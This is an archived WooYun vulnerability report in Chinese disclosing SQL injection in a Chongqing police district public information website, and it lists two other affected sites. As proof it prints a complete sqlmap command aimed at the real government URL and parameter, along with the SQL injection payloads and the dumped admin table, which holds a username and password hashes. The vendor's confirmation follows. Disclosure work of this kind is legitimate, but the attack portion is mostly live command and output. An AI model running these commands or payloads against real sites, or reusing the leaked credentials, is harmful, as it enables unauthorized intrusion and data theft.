当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0117079

漏洞标题:重庆某敏感部门系统存在SQL注入漏洞(可影响服务器控制权限)

相关厂商:公安部一所

漏洞作者: 小龙

提交时间:2015-06-03 18:10

修复时间:2015-07-19 08:36

公开时间:2015-07-19 08:36

漏洞类型:内部绝密信息泄漏

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(公安部一所)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-03: 细节已通知厂商并且等待厂商处理中
2015-06-04: 厂商已经确认,细节仅向厂商公开
2015-06-14: 细节向核心白帽子及相关领域专家公开
2015-06-24: 细节向普通白帽子公开
2015-07-04: 细节向实习白帽子公开
2015-07-19: 细节向公众公开

简要描述:

第一次玩注入,大家别喷

详细说明:

重庆公安局.jpg


1111111111111111111111111111111111111.png

漏洞证明:

涉及站点


重庆市公安局渝中区分局公众信息网 cqyzga.gov.cn
重庆大学国家大学科技园 www.cqusp.com
重庆江北区环境保护局 www.cqjbhb.gov.cn

http://www.cqyzga.gov.cn/Article/DisplayNews.asp?ArticleID=504
F:\Python27\sqlmap>sqlmap.py -u "http://www.cqyzga.gov.cn/Article/DisplayNews.as
p?ArticleID=504" --dump -T PE_Admin -C "AdminName,Password"
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150529}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 22:42:17
[22:42:17] [INFO] resuming back-end DBMS 'microsoft sql server'
[22:42:17] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: ArticleID (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ArticleID=504 AND 1057=1057
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: ArticleID=504 AND 6539=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR
(113)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (6539=6539) THEN CHAR(49) ELSE CHAR
(48) END))+CHAR(113)+CHAR(98)+CHAR(113)+CHAR(118)+CHAR(113)))
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: ArticleID=(SELECT CHAR(113)+CHAR(118)+CHAR(113)+CHAR(112)+CHAR(113)
+(SELECT (CASE WHEN (9418=9418) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR
(98)+CHAR(113)+CHAR(118)+CHAR(113))
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: ArticleID=504 WAITFOR DELAY '0:0:5'
---
[22:42:19] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
[22:42:19] [WARNING] missing database parameter. sqlmap is going to use the curr
ent database to enumerate table(s) entries
[22:42:19] [INFO] fetching current database
[22:42:19] [INFO] resumed: webserveryzfj
[22:42:19] [INFO] fetching columns 'AdminName, Password' for table 'PE_Admin' in
database 'webserveryzfj'
[22:42:19] [INFO] heuristics detected web page charset 'GB2312'
[22:42:19] [INFO] the SQL query used returns 2 entries
[22:42:19] [INFO] retrieved: AdminName
[22:42:19] [INFO] retrieved: nvarchar
[22:42:19] [INFO] retrieved: Password
[22:42:20] [INFO] retrieved: nvarchar
[22:42:20] [INFO] fetching entries of column(s) 'AdminName, Password' for table
'PE_Admin' in database 'webserveryzfj'
[22:42:20] [INFO] retrieved: 2
[22:42:20] [INFO] fetching number of distinct values for column 'Password'
[22:42:20] [INFO] retrieved: 2
[22:42:20] [INFO] using column 'Password' as a pivot for retrieving row data
[22:42:20] [INFO] retrieved: 16aebbaa0ac28d51
[22:42:21] [INFO] retrieved: admin
[22:42:21] [INFO] retrieved: ed5683a45f67a668
[22:42:21] [INFO] retrieved: 管理员
[22:42:21] [INFO] analyzing table dump for possible password hashes
[22:42:21] [INFO] recognized possible password hashes in column 'Password'
do you want to store hashes to a temporary file for eventual further processing
with other tools [y/N]

修复方案:

版权声明:转载请注明来源 小龙@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-06-04 08:34

厂商回复:

非常感谢!
你提交的漏洞已验证,会尽快修复。

最新状态:

暂无